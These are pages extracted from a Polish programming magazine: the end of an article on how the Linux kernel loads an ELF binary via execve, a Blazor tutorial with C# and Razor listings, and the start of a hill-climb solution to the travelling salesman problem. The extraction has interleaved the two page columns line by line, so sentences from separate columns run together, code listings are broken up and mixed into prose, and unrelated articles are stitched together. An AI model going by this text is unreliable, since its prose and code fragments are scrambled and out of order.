staci tablicy (Program Header Table), a jej położenie w pliku, ilość miejsca i służyć wyłącznie przekazaniu parametrów do kernela. Przy-
wpisów oraz rozmiar wpisu są odczytywane z nagłówka ELF. Listę kładem jest GNU_STACK, na podstawie którego kernel stwierdza, czy
segmentów programu prog1 zaprezentowano w Listingu 13. stos procesu ma mieć prawa do wykonywania kodu, czy też nie.
Pierwsza kolumna określa typ segmentu. Segmenty, które znaj-
dą się w obrazie procesu, są typu PT_LOAD. W kolumnie VirtAddr
PRZESTRZEŃ ADRESOWA PROCESU
znajdują się adresy wirtualne, pod jakimi segmenty będą dostępne.
PhysAddr nie ma zastosowania, gdy w systemie występuje jednostka Z każdym procesem związana jest wirtualna przestrzeń adresowa.
do zarządzania pamięcią, tj. MMU, czyli właściwie w zdecydowanej Jest to mechanizm pozwalający [Link] na sprzętową separację działają-
większości współczesnych procesorów. FileSiz to rozmiar segmen- cych w systemie procesów; dzięki niemu każdy proces ma wrażenie,
tu w pliku, a MemSiz to jego rozmiar po załadowaniu do pamięci. jakby działał sam, a cała przestrzeń adresowa należała tylko do nie-
W sytuacji kiedy rozmiar w pamięci jest większy od rzeczywistego, go. Z przestrzeni adresowej wydzielone są obszary (zakresy adresów)
dodatkowe miejsce wypełniane jest zerami. Flg określa typ dostę- z nadanymi określonymi prawami dostępu. Niektóre są odzwiercie-
pu do kawałka pamięci. Znaczenie kolumny jest takie samo jak dla dleniem segmentów występujących w plikach obiektowych, inne są
sekcji. Ostatnia kolumna, Align, określa wyrównanie segmentu do odgórnie narzucone przez system operacyjny. Na Rysunku 2 pokaza-
określonej wartości. no, jak może (położenie segmentów jest najczęściej randomizowane
Warto również zwrócić uwagę, jak sekcje zostały pogrupowane z powodu włączonego ASLR1 – Address Space Layout Randomiza-
w segmenty. Na przykład w segmencie oznaczonym numerem 6 zna- tion) wyglądać przestrzeń procesu prog1.
lazły się sekcje .tdata oraz .tbss, które są wykorzystywane przez
TLS (Thread Local Storage). Mechanizm polega na tym, że pomi-
mo tego, że poszczególne wątki mają wspólną przestrzeń adresową, 1. Technika utrudniająca przeprowadzenie ataków, w których wymagana jest dokładna znajomość
adresu fragmentu programu w pamięci. Włączone ASLR sprawia, że system operacyjny randomizuje
to mogą mieć swoje prywatne dane. Segmenty mogą nie zajmować przestrzeń adresową nowego procesu, np. położenie poszczególnych segmentów.
{ [Link] } <27>
PROGRAMOWANIE SYSTEMOWE
zwalająca na wykonanie wywołań systemowych z kontekstu procesu. nuje swoje instrukcje oddzielnie. fork() do rodzica zwraca PID (Pro-
Jest to możliwe dla wywołań, których zadaniem jest wyłącznie odczy- cess ID) dziecka, podczas gdy proces dziecko widzi wartość 0. Tym
tanie pewnej zmiennej z przestrzeni adresowej kernela. Przykład to sposobem każdy z procesów dowiaduje się o swojej roli.
gettimeofday() (man 3 gettimeofday), która zwraca czas UNIX- Zadaniem execve(), którego prototyp pokazano w Listingu 15,
-owy. vvar (VDSO Variables) to z kolei fragment pamięci zawierają- jest zastąpienie aktualnie wykonywanego programu nowym. Pierw-
cy zmienne, np. timestamp, do których mają dostęp funkcje z vdso. szy argument to ścieżka do programu na dysku. argv[] to tablica
O vsyscall wystarczy w zasadzie wiedzieć tyle, że ma identyczne zawierająca argumenty przekazywane do main(). envp[] to lista
zastosowania, co VDSO, oraz że jest to relikt przeszłości. zmiennych środowiskowych przekazywana do nowego procesu. Listę
Zainteresowanych zawartością /proc odsyłam do manuala (man 5 zmiennych środowiskowych dowolnego procesu można podejrzeć,
proc). wyświetlając zawartość /proc/<pid>/environ.
$ strace ./prog1
execve("./prog1", ["./prog1"], 0x7fff700f5300 /* 72 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffe4ac70000) = -1 EINVAL (Invalid argument)
brk(NULL) = 0x79e000
brk(0x79ed80) = 0x79ed80
arch_prctl(ARCH_SET_FS, 0x79e380) = 0
uname({sysname="Linux", nodename="arch", ...}) = 0
readlink("/proc/self/exe", "/home/tdu/workspace/test/prog1", 4096) = 30
brk(0x7bfd80) = 0x7bfd80
brk(0x7c0000) = 0x7c0000
mprotect(0x4aa000, 16384, PROT_READ) = 0
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}, AT_EMPTY_PATH) = 0
read(0,
"\n", 1024) = 1
exit_group(10) = ?
+++ exited with 10 +++
{ [Link] } <29>
PROGRAMOWANIE SYSTEMOWE
wyświetlenie kompletnej listy zmiennych środowiskowych zamiast do exec_binprm(), gdzie wyszukiwany jest komponent ładujący
komunikatu o ich całkowitej liczbie, tj. /* vars 72 */. binarkę (search_binary_handler()), przy okazji dbając, by ilość
Co ciekawe, w Listingu 16 nie pojawia się fork(). Wytłumaczenia zagnieżdżeń tych loaderów była ograniczona. Jeśli byłoby inaczej, to
tego są dwa. Po pierwsze, fork() nie jest wywołaniem systemowym, wykonanie skryptu o nazwie [Link] składającego się wyłącznie z li-
a de facto wrapperem pochodzącym z biblioteki glibc na wywołanie nii #!./[Link] zapewne zawiesiłoby system, a tak zostanie wyświe-
clone() (man 2 clone). clone() również nie znajduje się w listin- tlony komunikat bash: ./[Link]: ./[Link]: bad interpreter:
gu, ponieważ nie można śledzić procesu, który nie istnieje. execve() Too many levels of symbolic links.
natomiast jest wywoływany przez śledzony proces potomny, dlatego Dostępne komponenty ładujące pokazano w Listingu 17.
pojawia się na liście wywołań. brk(NULL) oraz brk(0x230ed80) są
Listing 17. Dostępne loadery
związane z dynamiczną alokacją pamięci. Pierwsze wywołanie zwra-
ca adres początku sterty, kolejne zmienia tę wartość, tym samym alo- $ cd fs; ls binfmt_*
binfmt_aout.c binfmt_elf.c binfmt_elf_fdpic.c binfmt_em86.c
kując pamięć. binfmt_flat.c binfmt_misc.c binfmt_script.c
arch_prtcl() (man 2 arch_prctl) wpisuje do segmentu FS ad-
res miejsca w pamięci, gdzie znajduje się obszar prywatny dla wątku Proces ładowania prog1 rozpoczyna się w funkcji load_elf_bina-
(TLS). Dla każdego wątku wartość jest ustawiana oddzielnie. Wywo- ry() (fs/binfmt_elf.c) po rozpoznaniu sygnatury pliku i wykonaniu
łanie uname() (man 2 uname) służy do pobrania informacji o syste- kilku dodatkowych sprawdzeń [Link] architektury procesora. Kolejnym
mie. Dalej biblioteka standardowa odczytuje ścieżkę do pliku wyko- krokiem jest skopiowanie (load_elf_phdrs()) do tymczasowego
nywalnego na swoje wewnętrzne potrzeby przy pomocy readlink() bufora nagłówków programu i ich przeglądanie w poszukiwaniu na-
(man 2 readlink). Kolejne dwa wywołania to powiększenie miejsca główków typu PT_GNU_PROPERTY lub PT_INTERP. PT_GNU_PROPERTY
na stertę. Ciekawe jest wywołanie mprotect() (man 3 mprotect). jest tworzony przez linker na potrzeby sekcji .[Link].
Zmiana atrybutów części przestrzeni adresowej, w tym wypadku Ta sekcja zawiera listę akcji do wykonania przed załadowaniem pro-
ustawienie praw tylko do odczytu, jest związana ze wspomnianym gramu. Przykładem może być uruchomienie CET4 (Control-Flow
wcześniej mechanizmem RELRO. Zakres chroniony przed zapisem Enforcement Technology) na procesorze Intel. CET zabezpiecza
to adresy od 0x4aa000 do 0x4adfff włącznie, a .data rozpoczyna przed atakami związanymi z przepływem sterowania, tj. ROP (Re-
się dopiero od 0x4ae0e0. Wywołanie nie nastąpi, jeśli do komendy turn Oriented Programming), JOP (Jump Oriented Programming)
kompilacji dodamy -Wl,-z,norelro. Ostatecznie program czeka na oraz COP (Call Oriented Programming). Natomiast PT_INTERP
dowolny znak ze standardowego wejścia i kończy swoje działanie. zawiera ścieżkę do interpretera lub dynamicznego linkera ([Link]
Kilka wywołań systemowych pozwala na wysokopoziomowe w przypadku Linuksa). W naszym przypadku ani jedno, ani drugie
spojrzenie na cykl życia programu. W rzeczywistości dzieje się jed- nie ma zastosowania. Analizę fragmentów kodu związanych z inter-
nak znacznie więcej. preterem pomijamy.
Wywołanie execve() powoduje przełączenie w kontekst kernela Dalej kolejny raz następuje przeglądanie listy nagłówków, tym
i rozpoczęcie wykonywania domyślnej funkcji obsługującej wywoła- razem pod kątem obecności PT_GNU_STACK, a także tych z typem
nia systemowe, tj. entry_SYSCALL_64 (arch/x86/entry/entry_64.S). należącym do przedziału od PT_LOPROC do PT_HIPROC włącznie. Ten
Z niej następuje skok do do_syscall_64() (arch/x86/entry/com- pierwszy służy do ustawienia możliwości wykonywania instrukcji ze
mon.c), która z wszystkich dostępnych handlerów wybiera ten przy- stosu. Reszta w teorii zawiera dane specyficzne dla danego procesora,
pisany do execve(), tj. do_execve() (fs/exec.c). Skąd kernel wie, w praktyce segmenty z zakresu są pomijane.
który wywołać? Każde wywołanie systemowe ma przypisany numer. Kolejny ważny przystanek na drodze do utworzenia procesu to
Dla x86-64 lista dostępnych znajduje się w pliku arch/x86/entry/sy- begin_new_exec() (fs/exec.c). Tutaj przebiega proces czyszczenia
scalls/syscall_64.tbl. Przygotowanie do wywołania polega na wpisaniu stanu odziedziczonego po rodzicu. Rozpoczynamy od wyznaczenia
wybranego numeru do rejestru RAX, w naszym przypadku jest to 59. kontekstu (bprm_creds_from_file()). Wpływa to na przywileje
Kolejne 3 argumenty trafiają do rejestrów odpowiednio RDI, RSI procesu, tj. dostęp do plików na dysku, urządzeń itp. Następnie zabi-
oraz RDX3. Po tym następuje wywołanie instrukcji syscall, powo- jane są wszystkie działające wątki (de_thread()) i aktywność zwią-
dując przejście przez portal i miękkie lądowanie w opisanym wcze- zana z io_uring, czyli frameworkiem odpowiedzialnym za szybkie
śniej entry_SYSCALL_64. Ostatecznie z do_execve() skaczemy do asynchroniczne operacje I/O, gdzie operacje I/O wciąż są po stronie
do_execveat_common(), gdzie rozpoczyna się przygotowanie obrazu kernela, a nie oprogramowania w przestrzeni użytkownika, jak ma
procesu. to miejsce np. w SPDK (Storage Performance Development Kit).
Tutaj główne zadanie polega na utworzeniu oraz wstępnym wy- Usuwane są wszelkie dane dotyczące odziedziczonych deskryptorów
pełnieniu struktury struct linux_binprm reprezentującej binar- plików (unshare_files()), a następnie podmienia jest zawartość
kę ładowaną do pamięci. Bez względu na to, czy jest to skrypt, plik /proc/<process id>/exe na nazwę naszego programu (set_mm_exe_
wykonywalny czy bytecode. Następnie przechodzimy do bprm_ex- file()). Wcześniej zmapowane obszary pamięci są usuwane (exec_
ecve(), w której otwierany jest plik zawierający prog1 i przygotowy- mmap()). Jeśli w danym procesie działają jakieś POSIX-owe timery
wany jest wstępny kontekst dla procesu (struct cred) na podstawie (timery nigdy nie są dziedziczone), to zostają dezaktywowane, po
kontekstu procesu wołającego execve(). Dalej kernel przechodzi czym usunięte, o ile w kernel została wkompilowana ich obsługa.
4. Jest to świeży dodatek do Linuksa, więcej informacji można znaleźć pod adresem: [Link]
3. Konwencje wywołań są opisane w dokumencie „System V AMD64 ABI”. lkml/2021/5/21/1208.
Opcjonalne wsparcie dla timerów POSIX-owych jest podyktowane (man 3 getauxval), lub też można ustawić zmienną środowiskową
tym, że niektóre systemy wbudowane mogą mieć dostęp do innych LD_SHOW_AUXV=1. Konsumentem tych informacji jest [Link] (dyna-
funkcji pobierania czasu, dlatego zamiast duplikować funkcjonalność miczny linker i loader). Gdy jest używany, kernel konstruuje obraz
sensowne może okazać się zmniejszenie rozmiaru kernela. Jeśli pro- procesu, ładując do pamięci zawartość ELF, a także program wspo-
ces odziedziczył tablicę handlerów sygnałów, to jest tworzona nowa magający ładowanie wszelkich bibliotek współdzielonych, od których
(unshare_sighand()). W przeciwnym wypadku zmiana propago- proces zależy. Na tym etapie [Link] będzie potrzebował dodatkowych
wałaby się do odrębnego procesu, co byłoby wyjątkowo uciążliwe, informacji, na przykład adresu, gdzie znajduje się pierwsza instrukcja.
a przede wszystkich niezgodne ze sztuką. Dalej zostaje wyłączo- Te dane kernel przekazuje za pośrednictwem auxv.
ne sprawdzanie adresów przekazywanych z przestrzeni użytkow- Nie ma to zastosowania w przypadku prog1, natomiast w Listin-
nika do kernela (każdy, kto potrzebował odczytać plik z dysku np. gu 18 pokazano przykładową zawartość wektora dla whoami.
w kodzie sterownika, pewnie miał okazję się spotkać z ezoterycznym
Listing 18. auxv dla programu whoami
set_fs()). Domyślnie jest to zabronione, gdyż aplikacja mogłaby
np. poprosić o odczytanie lub zapisanie kawałka pamięci kernela. $ LD_SHOW_AUXV=1 whoami
AT_SYSINFO_EHDR: 0x7ffec91d7000
W exec() natomiast może zajść potrzeba przeczytania czegoś z dys- AT_HWCAP: b7ebfbff
ku, posługując się funkcjami z warstwy VFS (Virtual File System), AT_PAGESZ: 4096
AT_CLKTCK: 100
która normalnie nie pozwala na takie użycie. Obecnie trwają prace AT_PHDR: 0x55ca8667b040
AT_PHENT: 56
nad usunięciem tego mechanizmu z krajobrazu kernela. Dalej od- AT_PHNUM: 11
bywa się czyszczenie TLS (flush_thread()) i ustawienie domyśl- AT_BASE: 0x7f983bd7d000
AT_FLAGS: 0x0
nych flag dla procesu. Przyszedł czas na ustawienie nazwy procesu AT_ENTRY: 0x55ca8667d1c0
(__set_task_comm()), którą można odczytać w /proc/<pid>/comm, AT_UID: 1000
AT_EUID: 1000
oraz wygenerowanie zdarzenia perf informującego o nowo powsta- AT_GID: 985
łym procesie. Jeszcze tylko usuwamy zainstalowane handlery sygna- AT_EGID: 985
AT_SECURE: 0
łów (flush_signals_handlers()) (jeśli takie były) i ustawiamy AT_RANDOM: 0x7ffec915fe59
kontekst procesu (commit_creds()). AT_HWCAP2: 0x0
AT_EXECFN: /usr/bin/whoami
Teraz można przystąpić do przygotowania przestrzeni adresowej AT_PLATFORM: x86_64
nowego procesu i wypełnienie jej segmentami z ładowanego pliku.
Ale zanim to nastąpi, położenie obszarów pamięci przeznaczonych Na tym właściwie kończy się przygotowanie programu do startu.
na stos (setup_arg_pages()), stertę czy obszar dla mmap() (set- Ostatnim krokiem, jaki należy wykonać, jest START_THREAD(). Ma-
up_new_exec()) jest randomizowane. Ta funkcjonalność nazywa się kro ustawi adres pierwszej instrukcji oraz miejsce, gdzie znajduje się
ASLR (Address Space Layout Randomization) i służy polepszeniu stos. Po tym nastąpi powrót do przestrzeni użytkownika i rozpocznie
bezpieczeństwa poprzez dodatkową ochronę przed atakami typu ROP. się wykonanie instrukcji programu.
Następnie kernel przechodzi przez wszystkie segmenty typu PT_LOAD
i umieszcza je w przestrzeni adresowej procesu (elf_map()). Dalej
ZAKOŃCZENIE
ustawiany jest tzw. program break (set_brk()), czyli miejsce, które
wyznacza koniec segmentu z niezainicjalizowanymi danymi. Kolejna Rekruterzy, i to tacy wyjątkowo złośliwi, czasami zadają pozornie
rzecz to dodanie do przestrzeni adresowej VDSO (ARCH_SETUP_AD- niewinne pytanie brzmiące mniej więcej tak: jak to się dzieje, że prze-
DITIONAL_PAGES()) oraz uzupełnienie stosu procesu dodatkowymi glądarka internetowa pobiera treści z odległego serwera? Niby oczy-
informacjami, tj. auxv (Auxilary Vector) (create_elf_tables()). wiste pytanie, w praktyce jednak tylko nieliczni są w stanie przejść tę
Kernel w ten sposób przekazuje do procesu dodatkowe informacje. ścieżkę zdrowia o własnych siłach. Miejmy nadzieję, że do kanonu
Proces może je pobrać, używając na przykład funkcji getauxval() złośliwych pytań nie trafi tytuł artykułu.
Bibliografia
1. How to write shared libraries – U. Drepper – [Link]
2. Executable and Linking Format (ELF) Specification – [Link]
3. Linkers and Loaders – J. Levine
4. Linux Kernel sources – [Link]
TOMASZ DUSZYŃSKI
Programista systemów wbudowanych. Zawodowo zajmuje się tworzeniem sterowników kart sieciowych dla systemu Linux.
{ [Link] } <31>
PROGRAMOWANIE APLIKACJI WEBOWYCH
<html>
[Link] Web Forms jako technologia zapoczątkowana w 2002 roku <head>
@* ... *@
powinna już dawno odejść w zapomnienie. Jednak dobra dostępność </head>
dokumentacji, stabilność i przewidywalność tego frameworka spra- <body>
<component type="typeof(App)" render-mode="ServerPrerendered" />
wia, że ok. 500 tys. programistów nadal korzysta z tego narzędzia.
<div id="blazor-error-ui">
Z drugiej strony, developerzy, którzy wychowali się na techno-
<environment include="Staging,Production">
logiach Microsoftu i podążali za kolejnymi frameworkami, w natu- @* ... *@
</environment>
ralny sposób zapoznali się z [Link] MVC, [Link] Core, a teraz </div>
z .NET 5 i pukającą do drzwi platformą .NET 6. Jednak dla osób,
@* ... *@
które dopiero zaczynają swoją przygodę programistyczną, poznanie </body>
</html>
frameworka MVC może być pewną przeszkodą. Najpierw trzeba zro-
zumieć, jaka jest rola kontrolera, a dopiero potem można wyświetlić
stronę HTML. Wobec tego trudno jest przekonać się co do zasadno- Blazor, analogicznie jak [Link] MVC i Razor Pages, wykorzystuje
ści MVC w przypadku mniej skomplikowanych aplikacji. składnię Razor do renderowania elementów dynamicznych. Jej wy-
Aby ułatwić naukę i programowanie aplikacji webowych, Micro- korzystanie jest tutaj takie samo jak we wspomnianych framewor-
soft dostarcza Razor Pages. Ten framework aplikacji jest sugerowa- kach. Dodatkowo komponenty Blazor mogą zawierać kod C# ob-
nym podejściem w przypadku nowych aplikacji webowych. Razor sługujący interakcje. Nie ma tutaj formalnego rozdzielenia widoku
Pages jest zorientowany na strony/widoki i pomija kontroler. Logikę i logiki. Wszystko można trzymać w jednym pliku. Jednak w dużych
umieszczamy w skojarzonym modelu, wraz z właściwościami, które komponentach kod C# można przenieść do osobnego pliku.
można „podbindować” do widoku. W tym miejscu warto jeszcze zwrócić uwagę, jak wygląda kom-
Wszystkie te frameworki (Web Forms, MVC i Razor Pages) ba- ponent [Link] (Listing 2). W domyślnym przypadku bazuje on na
zują na modelu żądanie-odpowiedź. Z tego powodu wymagają ren- innym komponencie (Router), który w Blazor obsługuje nawigację
derowania całych widoków. Aby tego uniknąć, trzeba korzystać z Ja- pomiędzy stronami. W Blazor stronami są komponenty uzupełnione
vaScript. W praktyce więc bardzo często implementujemy Web API o dyrektywę @page, w której umieszczamy informacje o trasie. O tym
w [Link] Core/.NET 5 i korzystamy z frameworków Single Page jednak za chwilę.
Application (Angular, React, Vue). Wymaga to jednak połączenia
Listing 2. Domyślna postać komponentu App
umiejętności backendowych i frontendowych. Czasem chcielibyśmy
lub potrzebujemy napisać interaktywną aplikację webową w C# i zro- <Router AppAssembly="@typeof(Program).Assembly"
PreferExactMatches="@true">
bić to przy minimalnym nakładzie pracy. W odpowiedzi na tę lukę <Found Context="routeData">
Microsoft zaproponował Blazor, który szybko zyskuje popularność, <AuthorizeRouteView RouteData="@routeData"
DefaultLayout="@typeof(MainLayout)" />
umożliwiając nam programowanie kompletnych, interaktywnych </Found>
<NotFound>
aplikacji w C#. Dodatkowo Blazor pozwala nam wykorzystywać <LayoutView Layout="@typeof(MainLayout)">
wzorce projektowe i dobre praktyki, czego nie można niestety powie- <p>Sorry, there’s nothing at this address.</p>
</LayoutView>
dzieć o [Link] WebForms. </NotFound>
</Router>
ARCHITEKTURA
W Listingu 2 widzimy, że komponent App korzysta też z MainLayout.
Z architektonicznego punktu widzenia aplikacje Blazor zawierają co Formalnie jest to specjalny komponent, który dziedziczy po Layout-
najmniej jeden komponent, zadeklarowany w kodzie HTML. W sza- ComponentBase i pozwala nam zdefiniować szablon stron (Listing 3).
blonach projektów Blazor, dostarczanych wraz z Visual Studio, mamy Tego typu komponenty można porównać do Master Pages w [Link]
jeden komponent główny, App (plik _Host.cshtml, Listing 1). Web Forms lub domyślnego szalonu _Layout.cshtml w [Link] MVC.
/* REKLAMA */
{ [Link] } <33>
PROGRAMOWANIE APLIKACJI WEBOWYCH
klienta przy pierwszym uruchomieniu. Z tego powodu możemy za- private Person person;
obserwować dodatkowe opóźnienia. Zaletą jest to, że możemy wdra- protected override async Task OnInitializedAsync()
{
żać aplikację w postaci statycznej, np. do GitHub Pages albo Azure
PersonId = PersonId ?? "0";
Static Website Hosting. person = await [Link](PersonId);
}
W drugim przypadku komponenty Blazor są renderowane po
stronie klienta i komunikują się z częścią działającą na serwerze po-
przez SignalR. Ta część „serwerowa” działa w ramach aplikacji ASP. Mając pobrane dane, wykorzystuję wiązanie danych, aby wyświetlić
NET Core. Model ten zmniejsza wymagania po stronie klienta, jed- właściwości instancji klasy Person, np.:
nak nie daje możliwości pełnego wykorzystania zasobów sprzęto-
<dt>First name:</dt>
wych po stronie klienta. Nie możemy też wdrażać aplikacji w postaci <dd>@[Link]</dd>
statycznej, a dodatkowym wyzwaniem może być skalowanie, gdyż
serwer musi obsługiwać wiele równoległych połączeń SignalR. Warto dodać, że dostęp do źródła danych realizuję w oparciu o wstrzy-
To, z którego modelu skorzystać, zależy w głównej mierze od po- kiwanie zależności:
trzeb aplikacji. Niemniej jednak, dzięki odpowiedniemu zaplanowa-
@inject IDataRepository<Person> PeopleRepository
niu komponentów mogą one być swobodnie dzielone pomiędzy róż-
nymi modelami hostowania Blazor. Dzięki temu decyzja o modelu
hostowania nie jest krytyczna – można ją dowolnie zmienić w zależ- Interfejs IDataRepository wskazuje na konkretną implementację.
ności od potrzeb. W przypadku projektów server-side deklarację serwisu realizuje się
standardowo w [Link] (metoda ConfigureServices):
[Parameter]
<EditForm Model="@Person" OnValidSubmit="AddPerson" public string ListUrl { get; set; }
OnInvalidSubmit="DisplayAlert">
<DataAnnotationsValidator /> private bool isInvalidSubmit = false;
<div class="form-group"> private async Task AddPerson()
<label class="control-label">First name:</label> {
<InputTextOnInputValidation @bind-Value="[Link]" await [Link](Person);
class="form-control"/>
<ValidationMessage For="@(() => [Link])" /> [Link](ListUrl);
<br /> }
</div>
private async Task DisplayAlert()
@* ... *@ {
isInvalidSubmit = true;
<button type="submit" class="btn-primary">Submit</button>
</EditForm> await [Link](2500);
isInvalidSubmit = false;
}
Formularze w Blazor bazują na komponencie EditForm. Udostępnia }
on dwa mechanizmy walidacji: jeden w oparciu o parametr Model,
a drugi bardziej ogólny oparty o EditContext. W powyższym listin-
WIDOK LISTY I SZABLONY KOMPONENTÓW
gu wykorzystałem pierwszą możliwość. EditForm pobiera reguły wa-
lidacji z atrybutów modelu (analogicznie jak w MVC i RazorPages): Na zakończenie tego artykułu zobaczmy jeszcze, jak można stworzyć
widok z listą. W najprostszym przypadku skorzystalibyśmy z analo-
public class Person
{ gicznego kodu, jak znany z [Link] MVC, i wyświetlili dane w tabeli:
public string Id { get; set; }
<table class="table">
[Required(ErrorMessage = "Please provide the first name")] <thead>
[StringLength(10, MinimumLength=2, ErrorMessage = "First name <tr>
should have 2-10 characters")] <th>First name</th>
public string FirstName { get; set; }
{ [Link] } <35>
PROGRAMOWANIE APLIKACJI WEBOWYCH
@* Pozostałe właściwości *@
Te szablony komponentów dobrze jest definiować w osobnych
<th>Actions</th>
</tr> projektach typu RazorClassLibrary. Dzięki temu łatwiej będzie współ-
</thead> dzielić komponenty w wielu projektach czy modelach hostowania.
<tbody>
@foreach (var person in people)
{
<tr>
WSPÓŁPRACA Z JAVASCRIPT
<td>@[Link]</td>
Chociaż Blazor umożliwia nam obsługę interakcji w oparciu o C#,
@* Pozostałe właściwości *@
to jednak nie sposób wyobrazić sobie aplikacji webowych całkowicie
<td>
pozbawionych kodu JavaScript. W przypadku, gdy zajdzie koniecz-
<a href="/personDetails/@[Link]">Details</a>
</td> ność wykorzystania JavaScript, to realizujemy to w oparciu o JSRun-
</tr>
}
time. Poniżej przykład wykorzystania tego mechanizmu do wyświe-
</tbody> tlenia okna modalnego w celu potwierdzenia usunięcia użytkownika:
</table>
@code {
PODSUMOWANIE
[Parameter]
public IReadOnlyList<TItem> Items { get; set; } W tym artykule omówiłem podstawowe aspekty technologii Bla-
[Parameter] zor w kontekście aplikacji CRUD. Pozwoliło to zilustrować główne
public RenderFragment TableHeader { get; set; } koncepcje Blazora i porównać je do tych znanych z MVC i Razor-
[Parameter] Pages. Z tego powodu wykorzystanie technologii Blazor nie stanowi
public RenderFragment<TItem> RowTemplate { get; set; }
} wyzwania dla obecnych programistów MVC. Może być jednak dobrą
alternatywą dla prostszych projektów i stanowi doskonałe narzędzie
A następnie wykorzystujemy jego szczególną wersję dla konkretnych edukacyjne, wspierające wzorce projektowe i dobre praktyki tworze-
danych: nia aplikacji webowych.
PROBLEM KOMIWOJAŻERA Choć nie dają one gwarancji odnalezienia optymalnego rozwiązania
(a w skrajnych przypadkach nie dają nawet gwarancji odnalezienia
Rozważmy problem kuriera rozwożącego przesyłki w mieście. Każ- jakiegokolwiek rozwiązania), bardzo często są w stanie w rozsądnym
dego dnia otrzymuje on listę miejsc, które musi odwiedzić. Przejazd czasie wygenerować wynik bardzo zbliżony do optymalnego. W na-
z jednej lokalizacji do drugiej kosztuje oczywiście czas oraz paliwo, szym przypadku skorzystamy z ogólnego rozwiązania o angielskiej
więc zależy nam na tym, by zminimalizować sumaryczny dystans, nazwie hill-climb (wspinaczka górska).
który kurier będzie musiał danego dnia pokonać. Działanie algorytmu możemy wyobrazić sobie w następujący
Zła wiadomość jest taka, że jest to tak zwany problem NP-trudny, sposób. Znajdujemy się w górach i zależy nam na odnalezieniu naj-
co oznacza, że jedynym sensownym rozwiązaniem jest metoda bru- wyższego szczytu. Panuje jednak nieprzenikniona mgła i jesteśmy
talnej siły (ang. brute-force), czyli mechaniczne sprawdzenie wszyst- w stanie dostrzec jedynie najbliższy teren wokół nas. Wybieramy
kich możliwych tras, wyznaczenie ich długości, a następnie wybranie więc losowe miejsce i badamy jego otoczenie. Spośród wszystkich
najkrótszej z nich. Zastanówmy się więc, o jakiego rzędu liczbach tu- punktów wybieramy najwyższy, przesuwamy się tam i ponawiamy
taj mówimy? próbę. Robimy to tak długo, jak długo jesteśmy w stanie iść w górę;
Z matematycznego punktu widzenia mamy tu do czynienia z per- gdy nie jest to już możliwe, zapisujemy położenie osiągniętego przez
mutacjami zbioru. Jeżeli nazwiemy kolejne lokalizacje kolejnymi lite- nas punktu oraz jego wysokość i powtarzamy cały proces od nowa,
rami, czyli A, B, C, … (przyjmując dodatkowo symbol # jako bazę fir- z innego, losowo wybranego miejsca.
my przewozowej), to każdą trasę możemy zapisać po prostu jako ciąg Algorytm typu hill-climb należy do kategorii algorytmów za-
symboli. Na przykład dla trasy #ABC# kurier rusza z bazy do punktu chłannych, czyli szuka lokalnych optimów w nadziei na odnalezienie
A, stamtąd do punktu B, potem do punktu C i na koniec znów wraca globalnego optimum. Istnieje jednak kilka ograniczeń, które spra-
do bazy. wiają, że nie zawsze można go zastosować.
Baza z oczywistych powodów musi zawsze znajdować się na po- Przede wszystkim musimy mieć możliwość wyznaczenia wartości
czątku i na końcu trasy, ale kolejnością odwiedzania poszczególnych reprezentującej współczynnik dopasowania bieżącego kandydata na
punktów możemy już dowolnie manipulować. Mając więc do odwie- rozwiązanie problemu. Funkcja dopasowania musi być również spój-
dzenia trzy lokalizacje, możemy zrobić to na 6 sposobów: #ABC#, na, czyli dla lepszych kandydatów powinna zwracać wyższe wartości,
#ACB#, #BAC#, #BCA#, #CAB# oraz #CBA#. zaś dla gorszych – niższe. Istnieje jeszcze jeden, dodatkowy warunek:
Sześć możliwości do sprawdzenia może nie wydawać się szcze- algorytm ten zadziała bowiem prawidłowo tylko wtedy, gdy możemy
gólnie zatrważającą liczbą, ale tylko do momentu, w którym za- bezpiecznie założyć, że podobni kandydaci będą generować podob-
czniemy rozważać dłuższe trasy. Ponieważ wzorem wyznaczającym ne wartości dopasowania. Innymi słowy, wprowadzenie niewielkiej
liczbę możliwych permutacji dla zbioru n-elementowego jest n!, a n! zmiany do potencjalnego kandydata powinno skutkować niewielką
liczymy jako 1 * 2 * 3 * … * (n-1) * n, dla 5 miejsc będziemy musieli zmianą wartości dopasowania.
sprawdzić 120 tras: dla 10 miejsc – 3628800, dla 20 miejsc – 2 432 W przypadku problemu komiwojażera oba warunki są spełnio-
902 008 176 640 000, zaś dla 30 – 265 252 859 812 191 058 636 308 ne, ponieważ wartością dopasowania jest po prostu sumaryczna
480 000 000 (265 kwintyliardów). Aby zobrazować skalę, gdybyśmy odległość konieczna do pokonania, a niewielka zmiana trasy będzie
byli w stanie przetwarzać sto miliardów tras na sekundę, sprawdze- zwykle skutkowała (relatywnie) niewielką zmianą sumarycznego
nie wszystkich dla 30-elementowego zbioru lokalizacji zajęłoby nieco dystansu.
ponad 84 biliony lat. Tymczasem według artykułów znajdujących się
na popularnych portalach kurierzy muszą czasami rozwieźć dziennie
IMPLEMENTACJA
nawet 50 przesyłek.
Spróbujmy więc zaimplementować algorytm hill-climb do rozwią-
for (int i = [Link] - 1; i > 1; i--) private static string ExportToDot(Location courierBase,
{ List<Location> path)
int j = [Link](i + 1); {
StringBuilder sb = new StringBuilder();
if (i != j) [Link]("digraph {");
[Link](i, j);
} [Link]([Link]());
} foreach (var loc in path)
[Link]([Link]());
private static List<Location> Solve(Location courierBase,
List<Location> locations) if ([Link]())
{ {
double bestLength = Evaluate(courierBase, locations); [Link]($"{[Link]} -> " +
List<Location> bestPath = new(locations); $"{path[0].Label}");
for (int i = 0; i < [Link] - 1; i++)
int iteration = 0; [Link]($"{path[i].Label} -> " +
int iterationsWithoutProgress = 0; $"{path[i + 1].Label}");
[Link]($"{[Link]().Label} -> " +
for (int i = 0; i < MaxIterations && $"{[Link]}");
iterationsWithoutProgress < IterationsWithoutProgress; i++) }
{
List<Location> testedPath = new List<Location>(locations); [Link]("}");
Shuffle(testedPath);
return [Link]();
double localBestLength = Evaluate(courierBase, testedPath); }
index2++; [Link]();
if (index2 >= [Link]) }
{
index1++;
index2 = index1 + 1; WYNIKI
}
} Muszę szczerze przyznać, że fakt, iż algorytm jest oparty w dużej
}
mierze na losowości, budził na początku moją nieufność. Jednak siłą
if (localBestLength < bestLength) hill-climb jest to, że nie tylko losuje on rozwiązania, ale też próbuje je
{
[Link]($"Better path found with length " + ulepszać – co daje akceptowalne wyniki znacznie szybciej niż zwykła
